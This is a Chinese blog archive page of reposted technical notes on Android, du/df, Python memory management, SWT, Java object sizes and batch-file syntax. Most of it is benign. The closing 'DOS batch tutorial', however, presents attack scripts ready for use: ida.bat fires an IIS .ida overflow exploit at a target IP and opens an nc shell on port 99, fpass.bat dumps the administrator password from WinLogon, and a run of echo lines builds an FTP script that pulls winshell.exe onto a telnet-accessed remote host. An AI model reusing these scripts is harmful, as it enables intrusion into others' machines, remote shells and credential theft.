    应用程序通过ActivityThread提供的框架,建立消息循环Looper和Handler。从前面的相关章节我们知道有Looper和Handler,整个系统就可以运作了。

为了更为系统的了解应用程序的建立时序及其涉及到数据操作,我给出了应用进程的建立过程示意图:

 image

posted @ 2010-09-25 15:38 九宝 阅读(728) | 评论 (0)编辑 收藏

Activitie之间传对象,通过Parcelable(转)

     摘要: 对象必须实现Serializable,对象代码如下: Java代码  import java.io.Serializable;      import android.graphics.drawable.Drawable;     ...  阅读全文

posted @ 2010-09-10 16:00 九宝 阅读(2126) | 评论 (0)编辑 收藏

DU和DF(转)

 
这个文档能给你一个满意的答复:) 
Document Id: 26928Synopsis: du and df Differences (originally published 8/91) 
Update date: 2001-05-13Description: du and df Differences 
-- --- -- ----------- 

This article explains how reporting disk usage du and reporting free disk space 
on file systems df may show different numbers. 

du 
-- 

The du user command gives the number of kilobytes contained in all files and, 
recursively, directories within each specified directory or file (filename). 
If filename is missing, `.' (the current directory) is used.  A file which 
has multiple links to it is only counted once. 

EXAMPLE: 

  system % du 

  5    ./jokes 
  33   ./squash 
  44   ./tech.papers/lpr.document 
  217  ./tech.papers/new.manager 
  401  ./tech.papers 
  144  ./memos 
  80   ./letters 
  388  ./window 
  93   ./messages 
  15   ./useful.news 
  1211 . 

Note that the last number, 1211 is the grand total (in kilobytes) for the 
directory. 

df 
-- 

The df user command displays the following information: 

  amount of disk space occupied by currently mounted file systems 
  the amount of used and available space 
  how much of the file system's total capacity has been used 

Used without arguments, df reports on all mounted file systems. 

EXAMPLE: 

  system % df 

  Filesystem  kbytes  used  avail  capacity  Mounted on 
  /dev/ip0a    7445    4714 1986   70%       / 
  /dev/ip0g   42277   35291 2758   93%       /usr 

Note: used plus avail is less than the amount of space in the file system 
(kilobytes) because the system reserves a fraction of the space in the file 
system to allow its allocation routines to work well.  The amount reserved is 
typically about 10%.  (This may be adjusted using the tunefs command.  Refer to 
the man pages on tunefs(8) for more information.)  When all the space on a file 
system, except for this reserve, is in use, only the super-user can allocate 
new files and data blocks to existing files.  This, however, may cause the file 
system to be over allocated.  When a file system is over allocated in this way, 
df may report that the file system is more than 100% utilized. 

If arguments to df are disk partitions (for example, /dev/ip0as or path names), 
df produces a report on the file system containing the named file.  Thus, df 
shows the amount of space on the file system containing the current directory. 

Problem Definition 
------- ---------- 

This section gives the technical explanation of why du and df sometimes report 
different totals of disk space usage. 

When a program that is running in the background writes to a file while the 
process is running, the file to which this process is writing is deleted. 
Running df and du shows a discrepancy in the amount of disk space usage.  The 
df command shows a higher value. 

Explanation Summary 
----------- ------- 

When you open a file, you get a pointer.  Subsequent writes to this file 
references this file pointer.  The write call does not check to see if the file 
is there or not.  It just writes to the specified number of characters starting 
at a predetermined location.  Regardless of whether the file exist or not, disk 
blocks are used by the write operation. 

The df command reports the number of disk blocks used while du goes through the 
file structure and and reports the number of blocks used by each directory.  As 
far as du is concerned, the file used by the process does not exist, so it does 
not report blocks used by this phantom file.  But df keeps track of disk blocks 
used, and it reports the blocks used by this phantom file.
 du和df命令都被用于获得文件系统大小的信息:df用于报告文件系统的总块数及剩余块数,du -s /<filesystem>用于报告文件系统使用的块数。但是,我们可以发现从df命令算出的文件系统使用块数的值与通过du命令得出的值是不一致的。如下例:
  # du -s /tmp 返回如下值:
  ---12920 /tmp
  而 df /tmp返回如下值:
  Filesystem --512-blocks-- Free --%Used --Iused-- %Iused --Mounted on
  /dev/hd3 --------57344 --42208--- 26% ----391 ------4% --/tmp

  从上面的值我们可以算出<total from df> - <Free from df> = <used block count>: 57344 - 42208 = 15136. 而15136大于12920。该值差异的存在是由于du与df命令实施上的不同: du -s命令通过将指定文件系统中所有的目录、符号链接和文件使用的块数累加得到该文件系统使用的总块数;而df命令通过查看文件系统磁盘块分配图得出总块数与剩余块数。

  文件系统分配其中的一些磁盘块用来记录它自身的一些数据,如i节点,磁盘分布图,间接块,超级块等。这些数据对大多数用户级的程序来说是不可见的,通常称为Meta Data。

  du命令是用户级的程序,它不考虑Meta Data,而df命令则查看文件系统的磁盘分配图并考虑Meta Data。df命令获得真正的文件系统数据,而du命令只查看文件系统的部分情况。例如,一个frag=4096 并且 nbpi=4096的空的大小为4MB的日志文件系统中Meta Data的分配情况如下:

  1 4k block for the LVM

  2 4k super blocks

  2 4k blocks for disk maps

  2 4k blocks for inode maps

  2 4k blocks for .indirect

  32 4k blocks for inodes

  -------------------------

  41 4k blocks for meta data on an empty 4MB file system

  对于AIX 4.X版本:

  执行 du /foo返回的结果如下:

  ----8 -------/foo/lost+found

  ----16 ------/foo

  要使du命令输出的结果与df命令输出的结果匹配,我们必须要加上Meta Data。首先,将41个4k的块转换为以512字节为单位的值:

  41 * 8 = 328

  328(meta data) + 16(from du) = 344

  所以有344个以512字节为单位的块分配给了这个空的文件系统。

  而使用 df /foo命令我们可以得到下面的结果:

  Filesystem --512-blocks --Free --%Used --Iused---%Iused --Mounted on

  /dev/lv01 ------8192 -----7848 -----5% -----16 -----2% ----/foo

  从中我们可以得到该文件系统使用的块数:8192(total blocks) - 7848(free blocks) = 344。该值与上面得出的值一致。

  上面的换算方法对于空的文件系统很容易实现,但是对于非空的文件系统,由于Meta Data中文件间接块的大小不定,因此较难实现。所以我们不需要查看du 与 df返回的值的匹配关系,而只需要了解du -s命令返回的值反映了分配给文件及目录的磁盘块数,而df命令则反映了文件系统的实际分配情况。df命令反映的实际情况包含了用户数据(文件及目录)和Meta Data。

  另一个表现出du与df命令不同之处的例子如下:

  如果用户删除了一个正在运行的应用所打开的某个目录下的文件,则du命令返回的值显示出减去了该文件后的目录的大小。但df命令并不显示减去该文件后的大小。直到该运行的应用关闭了这个打开的文件,df返回的值才显示出减去了该文件后的文件系统的使用情况。

  列出一个目录占用的空间

  1.

  du或du -s或du -k

  du -S | sort -n 可以迅速发现那个目录是最大的。

  2.

  用df可以看到已安装的文件系统的空间大小及剩余空间大小。

  3.

  quota -v查看用户的磁盘空间信息,如果你用quota限制了用户空间大小的话。

posted @ 2010-08-26 16:27 九宝 阅读(141) | 评论 (0)编辑 收藏

How does Python manage memory?(http://docs.python.org/3.1/faq/design.html)

The details of Python memory management depend on the implementation. The standard C implementation of Python uses reference counting to detect inaccessible objects, and another mechanism to collect reference cycles, periodically executing a cycle detection algorithm which looks for inaccessible cycles and deletes the objects involved. The gc module provides functions to perform a garbage collection, obtain debugging statistics, and tune the collector’s parameters.

Jython relies on the Java runtime so the JVM’s garbage collector is used. This difference can cause some subtle porting problems if your Python code depends on the behavior of the reference counting implementation.

Sometimes objects get stuck in tracebacks temporarily and hence are not deallocated when you might expect. Clear the tracebacks with:

import sys
sys.exc_clear()
sys.exc_traceback = sys.last_traceback = None

Tracebacks are used for reporting errors, implementing debuggers and related things. They contain a portion of the program state extracted during the handling of an exception (usually the most recent exception).

In the absence of circularities and tracebacks, Python programs need not explicitly manage memory.

Why doesn’t Python use a more traditional garbage collection scheme? For one thing, this is not a C standard feature and hence it’s not portable. (Yes, we know about the Boehm GC library. It has bits of assembler code for most common platforms, not for all of them, and although it is mostly transparent, it isn’t completely transparent; patches are required to get Python to work with it.)

Traditional GC also becomes a problem when Python is embedded into other applications. While in a standalone Python it’s fine to replace the standard malloc() and free() with versions provided by the GC library, an application embedding Python may want to have its own substitute for malloc() and free(), and may not want Python’s. Right now, Python works with anything that implements malloc() and free() properly.

In Jython, the following code (which is fine in CPython) will probably run out of file descriptors long before it runs out of memory:

for file in <very long list of files>:
f = open(file)
c = f.read(1)

Using the current reference counting and destructor scheme, each new assignment to f closes the previous file. Using GC, this is not guaranteed. If you want to write code that will work with any Python implementation, you should explicitly close the file; this will work regardless of GC:

for file in <very long list of files>:
f = open(file)
c = f.read(1)
f.close()

posted @ 2009-11-30 11:01 九宝 阅读(276) | 评论 (0)编辑 收藏

Python 循环引用导致内存泄漏的内存管理TEST ref from:http://meizhini.javaeye.com/blog/249716

  在 Python 中,为了解决内存泄漏问题,采用了对象引用计数,并基于引用计数实现自动垃圾回收。
    因为 Python 有了自动垃圾回收功能,不少初学者就认为自己从此过上了好日子,不必再受内存泄漏的骚扰了。但如果查看一下 Python 文档对 __del__() 函数的描述,就知道好日子里也是有阴云的。下面摘抄一点文档内容:
    Some common situations that may prevent the reference count of an object from going to zero include: circular references between objects (e.g., a doubly-linked list or a tree data structure with parent and child pointers); a reference to the object on the stack frame of a function that caught an exception (the traceback stored in sys.exc_traceback keeps the stack frame alive); or a reference to the object on the stack frame that raised an unhandled exception in interactive mode (the traceback stored in sys.last_traceback keeps the stack frame alive).
    可见,有 __del__() 函数的对象间的循环引用是导致内存泄漏的主凶。特别说明:对没有 __del__() 函数的 Python 对象间的循环引用,是可以被自动垃圾回收掉的。


有 __del__() 函数的对象间的循环引用是导致内存泄漏的主凶。特别说明:对没有 __del__() 函数的 Python 对象间的循环引用,是可以被自动垃圾回收掉的。所以,没什么事,千万不要轻易启用__del__操作。
如何知道一个对象是否内存泄漏了呢?
    方法一、当你认为一个对象应该被销毁时(即引用计数为 0),可以通过 sys.getrefcount(obj) 来获取对象的引用计数,并根据返回值是否为 0 来判断是否内存泄漏。如果返回的引用计数不为 0,说明在此刻对象 obj 是不能被垃圾回收器回收掉的。
    方法二、也可以通过 Python 扩展模块 gc 来查看不能回收的对象的详细信息。


    首先,来看一段正常的测试代码:

#--------------- code begin --------------

# -*- coding: utf-8 -*-

import gc
import sys

class CGcLeak(object):
    def __init__(self):
        self._text = '#'*10

    def __del__(self):
        pass

def make_circle_ref():
    _gcleak = CGcLeak()
#   _gcleak._self = _gcleak # test_code_1
    print '_gcleak ref count0:%d' % sys.getrefcount(_gcleak)
    del _gcleak
    try:
        print '_gcleak ref count1:%d' % sys.getrefcount(_gcleak)
    except UnboundLocalError:
        print '_gcleak is invalid!'

def test_gcleak():
    # Enable automatic garbage collection.
    gc.enable()
    # Set the garbage collection debugging flags.
    gc.set_debug(gc.DEBUG_COLLECTABLE | gc.DEBUG_UNCOLLECTABLE | \
        gc.DEBUG_INSTANCES | gc.DEBUG_OBJECTS)

    print 'begin leak test...'
    make_circle_ref()

    print 'begin collect...'
    _unreachable = gc.collect()
    print 'unreachable object num:%d' % _unreachable
    print 'garbage object num:%d' % len(gc.garbage)

if __name__ == '__main__':
    test_gcleak()

#--------------- code end ----------------

    在 test_gcleak() 中,设置垃圾回收器调试标志后,再用 collect() 进行垃圾回收,最后打印出该次垃圾回收发现的不可达的垃圾对象数和整个解释器中的垃圾对象数。

    gc.garbage 是一个 list 对象,列表项是垃圾收集器发现的不可达(即是垃圾对象)、但又不能释放(即不能回收)的对象。文档描述为:A list of objects which the collector found to be unreachable but could not be freed (uncollectable objects).
    通常,gc.garbage 中的对象是引用环中的对象。因为 Python 不知道按照什么样的安全次序来调用环中对象的 __del__() 函数,导致对象始终存活在 gc.garbage 中,造成内存泄漏。如果知道一个安全的次序,那么就打破引用环,再执行 del gc.garbage[:] ,以清空垃圾对象列表。

    上段代码输出为(#后字符串为笔者所加注释):
#-----------------------------------------
begin leak test...
# 变量 _gcleak 的引用计数为 2.
_gcleak ref count0:2
# _gcleak 变为不可达(unreachable)的非法变量.
_gcleak is invalid!
# 开始垃圾回收
begin collect...
# 本次垃圾回收发现的不可达的垃圾对象数为 0.
unreachable object num:0
# 整个解释器中的垃圾对象数为 0.
garbage object num:0
#-----------------------------------------
    可见 _gcleak 对象的引用计数是正确的,也没有任何对象发生内存泄漏。

    如果不注释掉 make_circle_ref() 中的 test_code_1 语句:
    _gcleak._self = _gcleak
也就是让 _gcleak 形成一个自己对自己的循环引用。再运行上述代码,输出结果就变成:
#-----------------------------------------
begin leak test...
_gcleak ref count0:3
_gcleak is invalid!
begin collect...
# 发现可以回收的垃圾对象: 地址为 012AA090,类型为 CGcLeak.
gc: uncollectable <CGcLeak 012AA090>
gc: uncollectable <dict 012AC1E0>
unreachable object num:2
#!! 不能回收的垃圾对象数为 1,导致内存泄漏!
garbage object num:1
#-----------------------------------------
    可见 <CGcLeak 012AA090> 对象发生了内存泄漏!!而多出的 dict 垃圾就是泄漏的 _gcleak 对象的字典,打印出字典信息为:
{'_self': <__main__.CGcLeak object at 0x012AA090>, '_text': '##########'}

    除了对自己的循环引用,多个对象间的循环引用也会导致内存泄漏。简单举例如下:

#--------------- code begin --------------

class CGcLeakA(object):
    def __init__(self):
        self._text = '#'*10

    def __del__(self):
        pass

class CGcLeakB(object):
    def __init__(self):
        self._text = '*'*10

    def __del__(self):
        pass

def make_circle_ref():
    _a = CGcLeakA()
    _b = CGcLeakB()
    _a._b = _b  # test_code_2
    _b._a = _a  # test_code_3
    print 'ref count0:a=%d b=%d' % \
        (sys.getrefcount(_a), sys.getrefcount(_b))
#   _b._a = None    # test_code_4
    del _a
    del _b
    try:
        print 'ref count1:a=%d' % sys.getrefcount(_a)
    except UnboundLocalError:
        print '_a is invalid!'
    try:
        print 'ref count2:b=%d' % sys.getrefcount(_b)
    except UnboundLocalError:
        print '_b is invalid!'

#--------------- code end ----------------

    这次测试后输出结果为:
#-----------------------------------------
begin leak test...
ref count0:a=3 b=3
_a is invalid!
_b is invalid!
begin collect...
gc: uncollectable <CGcLeakA 012AA110>
gc: uncollectable <CGcLeakB 012AA0B0>
gc: uncollectable <dict 012AC1E0>
gc: uncollectable <dict 012AC0C0>
unreachable object num:4
garbage object num:2
#-----------------------------------------
可见 _a,_b 对象都发生了内存泄漏。因为二者是循环引用,垃圾回收器不知道该如何回收,也就是不知道该首先调用那个对象的 __del__() 函数。

    采用以下任一方法,打破环状引用,就可以避免内存泄漏:
[1] 注释掉 make_circle_ref() 中的 test_code_2 语句;
[2] 注释掉 make_circle_ref() 中的 test_code_3 语句;
[3] 取消对 make_circle_ref() 中的 test_code_4 语句的注释。
相应输出结果变为:
#-----------------------------------------
begin leak test...
ref count0:a=2 b=3  # 注:此处输出结果视情况变化.
_a is invalid!
_b is invalid!
begin collect...
unreachable object num:0
garbage object num:0
#-----------------------------------------


    结论:Python 的 gc 有比较强的功能,比如设置 gc.set_debug(gc.DEBUG_LEAK) 就可以进行循环引用导致的内存泄露的检查。如果在开发时进行内存泄露检查;在发布时能够确保不会内存泄露,那么就可以延长 Python 的垃圾回收时间间隔、甚至主动关闭垃圾回收机制,从而提高运行效率。

posted @ 2009-11-30 10:47 九宝 阅读(1315) | 评论 (0)编辑 收藏

Come from : Python源码剖析——Python的内存管理机制

1.小块空间的内存池
在Python中,许多时候申请的内存都是小块的内存,这些小块内存在申请后,很快又会
被释放,由于这些内存的申请并不是为了创建对象,所以并没有对象一级的内存池机制。这就
意味着Python在运行期间会大量地执行malloc和free的操作,频繁地在用户态和核心态之间
进行切换,这将严重影响Python的执行效率。为了加速Python的执行效率,Python引入了一
个内存池机制,用于管理对小块内存的申请和释放。这也就是之前提到的Pymalloc机制.

2.在Python2.5中,Python内部默认的小块内存与大块内存的分界点定在256个字节,这个
分界点由前面我们看到的名为SMALL_REQUEST_THRESHOLD的符号控制。也就是说,当申
请的内存小于256字节时,PyObject_Malloc会在内存池中申请内存;当申请的内存大于256
字节时,PyObject_Malloc的行为将蜕化为malloc的行为。当然,通过修改Python源代码,我
们可以改变这个默认值,从而改变Python的默认内存管理行为。

3.在一个对象的引用计数减为0时,与该对象对应的析构函数就会被调用,但是要特别注意的是,调用析构函数并不意味着最终一定会调用free释放内存空间,如果真是这样的话,那频繁地申请、释放内存空间会使 Python的执行效率大打折扣(更何况Python已经多年背负了人们对其执行效率的不满)。一般来说,Python中大量采用了内存对象池的技术,使用这种技术可以避免频繁地申请和释放内存空间。因此在析构时,通常都是将对象占用的空间归还到内存池中。
"这个问题就是:Python的arena从来不释放pool。这个问题为什么会引起类似于内存泄漏的现象呢。考虑这样一种情形,申请10*1024*1024个16字节的小内存,这就意味着必须使用160M的内存,由于Python没有默认将前面提到的限制内存池的WITH_MEMORY_LIMITS编译符号打开,所以Python会完全使用arena来满足你的需求,这都没有问题,关键的问题在于过了一段时间,你将所有这些16字节的内存都释放了,这些内存都回到arena的控制中,似乎没有问题。但是问题恰恰就在这时出现了。因为arena始终不会释放它维护的pool集合,所以这160M的内存始终被Python占用,如果以后程序运行中再也不需要160M如此巨大的内存,
这点内存岂不是就浪费了?"
python内存管理规则:
del的时候,把list的元素释放掉,把管理元素的大对象回收到py对象缓冲池里.

posted @ 2009-11-30 10:35 九宝 阅读(465) | 评论 (0)编辑 收藏

Python 小块空间内存管理TEST ref from: http://www.javaeye.com/topic/309753

mport time

def test():
   for i in range ( 1000000 * 10 ):
        del i

if ( __name__ == "__main__" ):
    test()
    while ( True ):
        time.sleep( 1 )
观察mem:内存维持不变! 

从这点可以猜测:python不是立即释放资源的.

个人测试代码:
-----------------------------------------------test0.py-------------------------------------

import time

def test():
    for i in range ( 1000000 * 10 ):
        del i


def test_2():
    #i = range ( 1000000 * 10 )
    #del i
    pass

def test_3():
    #i = "*" * ( 1000000 * 10 )
    #del i
    pass


if ( __name__ == "__main__" ):
    for i in range( 10 ):
        test()
        test_2()
        test_3()
        time.sleep( 1 )
    while ( True ):
        time.sleep( 1 )
-----------------------------------------------------test0.py-------------------------------------- 

运行 python test0.py

"while ( True ):
        time.sleep( 1 )
 "
保证python不退出.

发现python的内存占用率为60%.

 

如何解决这个问题呢?看下面的:

-----------------------------------------------test1.py-------------------------------------

#coding=utf-8
import time

max_number = 1000000 * 10
def test_0():
    for i in range ( max_number ):
        del i

def test_1():
    for i in range( 1000 ):
        for i in range ( max_number / 1000 ):
            del i

if ( __name__ == "__main__" ):
    #test_0()#内存使用率占40%
    test_1()#内存使用率占0.2%
 
    print "---------------------"
    while ( True ):
        time.sleep( 1 )

-----------------------------------------------test1.py-------------------------------------

 我想问题:问题也许解决了.

这就要看你的实际需求是什么了.

例如:

我做过一个爬虫程序,如果不断往这个线程里面传递url,那么这个线程不到一会就挂了.我的改进方法:就是控制这线程能够接受的url队列长度.以及其他的优化.
 其实这个不是循环导致的内存被python持有,而是range( n )让python分配了很多的内存.退出test(),python回收内存,但是python并不释放了,而是让pool持有内存空间.

posted @ 2009-11-27 16:54 九宝 阅读(455) | 评论 (1)编辑 收藏

void select_font_face (const std::string &family, FontSlant slant, FontWeight weight)

enum Cairo::FontSlant
Enumerator:
FONT_SLANT_NORMAL 
FONT_SLANT_ITALIC 
FONT_SLANT_OBLIQUE 


enum Cairo::FontWeight
Enumerator:
FONT_WEIGHT_NORMAL 
FONT_WEIGHT_BOLD 
0


also:
cr.select_font_face("Droid Sans Bold")  works! Strange!

posted @ 2009-08-12 16:47 九宝 阅读(125) | 评论 (0)编辑 收藏

配置SWT开发环境 -Djava.library.path=.\exe

本文假定读者使用Windows操作系统+JDK 1.4,其他平台和JDK版本应该也是八九不离十。

为了编译和运行SWT程序,我们有两种选择:1- 使用Eclipse SDK;2- 下载单独的SWT二进制文件和源文件。

随Eclipse SDK,我们可以在它的plugins目录下找到SWT的二进制文件,通常的目录名称是:org.eclipse.swt.win32_xxxx,后缀是版本号,在这个目录下有os和ws两个子目录,内容分别是SWT的JNI库和swt.jar。

如果不是使用Eclipse来开发,或者需要SWT的源文件,那么需要下载单独的SWT二进制和源文件包,在下面的地址可以找到:

http://mirror.pacific.net.au/eclipse/eclipse/downloads/drops/R-3.0.1-200409161125/swt-3.0.1-win32.zip


这个zip文件解包以后包含JNI库(一些DLL)和swt.jar,以及swtsrc.zip,这个swtsrc就是我们SWT的源文件了,包括C和Java的源代码。

为了运行SWT程序,我们需要首先编译我们SWT的代码,这个时候需要告诉编译器swt.jar的位置;编译成功以后,我们除了指明classpath包含swt.jar之外,需要在命令行告诉java.exe另一个参数,那就是java.library.path,看上去大概是这个样子:

java -cp %SWT_HOME%\swt.jar SimplestSWT -Djava.library.path=%SWT_HOME%

如果你使用的是Eclipse SDK 3.1M5a或者更新的版本,你可以直接右键.java文件选择Run As -> SWT Application,则不用在命令行写那么长的参数了。

比较有意思的是,我们可以在eclipse.org的SWT下载页面看到目前SWT支持的平台:

       Windows 98/ME/2000/XP
       Windows CE (ARM PocketPC)
       Windows CE (ARM PocketPC, J2ME profile)
       Linux (x86/Motif)
       Linux (x86/GTK 2)
       Linux (AMD 64/GTK 2)
       Solaris 8 (SPARC/Motif)
       QNX (x86/Photon)
       AIX (PPC/Motif)
       HP-UX (HP9000/Motif)      
       Mac OSX (Mac/Carbon)
呵呵,支持的平台虽然有限,不过还是蛮多了。


本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/tiney/archive/2008/09/12/2916785.aspx

posted @ 2009-07-22 16:22 九宝 阅读(952) | 评论 (0)编辑 收藏

java中的sizeof(转)

16位机器,c++,sizeof(int)=2byte长度
32位机器,c++,sizeof(int)=4byte长度
 在C/C++中,当我们想知道一个对象或者一个原始数据类型所占用的内存大小时,只需简单调用sizeof操作符即可,但是,在java中是没有相应的操作符或者方法来直接完成相应功能的。sizeof 在C/C++得到大量的运用,是程序员必不可少的工具之一,那么为什么java却不提供呢?要回答这个问题,我们可以从另外一个角度来看,那就是为什么C/C++中要使用sizeof。C中要使用sizeof主要是因为C程序员要自己管理堆内存的分配和释放,在使用malloc来获取堆内存时,我们必须知道要创建的对象的具体大小,才能根据对象的具体大小从堆中分配相应大小的动态内存,而获取对象大小这个工作就是通过sizeof来完成的。到了C++,我们可以使用操作符new来动态分配内存,这时,对于sizeof的依赖也没有在C时代时那么严重了。在C++中保留sizeof,主要是为了跟C保持兼容。说到这里,我们也可以明白为什么java中为什么没有sizeof了:java中的内存管理任务直接交给了JVM,这比C++更为彻底。同时,java是一个全新设计的完全面向对象语言,不存在C++向下兼容的问题,因此,java中不存在类似sizeof的操作符。(存在即合理,不存在也有它的道理:))。
    但是,有些时候事情并不没有想象中那么简单。当我们用Java编写应用程序时,虽然很多时候我们都不需要了解内存的使用情况,因为JVM已经帮我们照顾好这些珍贵的资源,但是,某些时候,譬如我们要编写一个性能监测工具或者在调试时我们需要知道某个对象所占用的内存大小的。怎么办呢?是不是很怀念我们的sizeof呢。
   不用担心,所谓天无绝人之路。如果我们使用的JDK的版本是5.0或以上,那么,我们可以使用新提供的Instrument包。通过这个包提供的接口和类,我们可以很容易获取一个对象实际占用的内存大小。Instrument的具体描述可以参看JDK文档,【1】提供了一个很好的例子。
   但是,上述方法只能获取对象的占用内存的大小,对于int ,long等原始类型是没有办法得知其内存大小的。有的人可能会问,这些原始类型在java的specification中定义好的吗?我们都知道,int用4个字节,long占用8个字节。对,java规范是对原是类型的大小作出了定义,但是这仅仅是对该类型逻辑上所需的字节作出了规定,具体到每个JVM实现中用到的实际内存大小是没有限制的,我们完全可以实现一个JVM使用8个字节来保存一个int(不知道现在64位CPU机子上是不是使用8个字节(64位)来保存一个int,我这里没有机器可以进行试验)。因此,要知道一个原始类型到底占用多少内存,我们还需另外想办法。【2】【3】【4】【5】提供了相关的信息,有兴趣的朋友可以参考一下。这里,贴出各个基本类型所占用内存的实际大小,看跟你想象中是否一致。(from 【5】Sun JRE 1.4.2 Client Hotspot JVM on Windows)
Type Size (bytes)
java.lang.Object 8
java.lang.Float 16
java.lang.Double 16
java.lang.Integer 16
java.lang.Long 16
java.math.BigInteger 56 (*)
java.lang.BigDecimal 72 (*)
java.lang.String
2*(Length) + 38 ± 2
empty java.util.Vector
80
object reference
4
float array
4*(Length) + 14 ± 2

posted @ 2009-06-24 17:02 九宝 阅读(399) | 评论 (0)编辑 收藏

批处理-如何对作参数的文件名进行操作

 例如,第三个参数是 c:/temp/a.txt
如何取第三个参数的文件路径 c:/temp
SET BIN_DIR=%1                ::取第一个参数
SET RES_DIR=%2                ::取第二个参数
SET TARGET_FILE=%3            ::取第三个参数
SET TARGET_FILE_NAME=%~nx3    ::取第三个参数的文件名
SET TARGET_DIR=%~dp3          ::取第三个参数的路径



如何对作参数的文件名进行操作
?

ECHO %~[<format>]<n>

<format>的取值如下

%~<n>

扩展%<n>,然后去除双引号(" "

%~f<n>

扩展%<n>, 取文件的全路径/文件名/扩展名,纯字符串处理

%~d<n>

扩展%<n>, 取文件的驱动器名

%~p<n>

扩展%<n>, 取文件的路径名

%~n<n>

扩展%<n>, 取文件名,不包括扩展名

%~x<n>

扩展%<n>, 取文件的扩展名

%~s<n>

扩展%<n>, 只包括短文件名的全路径/文件名/扩展名

%~t<n>

扩展%<n>,  文件的最后修改时间

%~z<n>

扩展%<n>, 文件的大小

%~a<n>

扩展%<n>, 文件的属性

%~$<var>:<n>

<var>一般是环境变量PATH, 从中寻找第一个匹配的文件名是%1的文件的全路径,如果找不到则展开为空

             

              以上参数可以组合,其格式是:

%~[{f|d|a|z|s|n|x|t|p}][$<var>:]<n>

posted @ 2009-06-01 16:01 九宝 阅读(687) | 评论 (0)编辑 收藏

(转) 经典的DOS批处理入门教程(2)(建议耐心看完,必有收获)

关键字: dos批处理 自动化安装测试

目前在做自动化安装测试的过程中要用到大量dos批处理的应用,所以贴一篇

很好的DOS批处理入门教程 呵呵。

 

######################################################################
4. 简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w


批处理,说白了就是DOS操作。有人认为DOS操作过时了、落后了,其实不然。DOS操作最大的好处就在于快、不留痕。在许多时候,Windows操作是根本解决不了问题的,必须借助DOS操作。

  必备常识:批处理的编写和修改

  打开记事本,将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。

  批处理运用一:扫描本地端口

  这个功能优化大师有,就是扫描哪个端口与internet连接和连接ip。这,为及时发现并拦截非法连接有着不可取代的功劳。

  然而,启动优化大师太慢了,而且太烦了,不利于随机使用。因此,编写一个这样的批处理来解决问题就显得尤为重要了。

  ************************************************************
  代码:
  netstat -n
  pause
  附:也可在每一行开头添上“@”,这样命令就不会显示出来。
  ************************************************************

  批处理运用二:查常见病毒

  其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。

  我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。

  下面,我以欢乐时光为例进行分析:
 
  主文件:1.bat
  其它文件:2.bat 3.bat

  ************************************************************
  1.bat代码:
  @if exist c:\folder.htt call 2.bat
  @if exist d:\folder.htt call 2.bat
  @if exist e:\folder.htt call 2.bat
  @if exist f:\folder.htt call 2.bat
  ************************************************************
  2.bat代码:
  @echo 发现欢乐时光病毒!
  @call 3.bat
  @pause
  ************************************************************
  3.bat代码:
  @c:
  @dir *.htt *.ini /s/a>1.txt
  @d:
  @dir *.htt *.ini /s/a>1.txt
  @e:
  @dir *.htt *.ini /s/a>1.txt
  ************************************************************

  这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。

  批处理运用三:文件处理

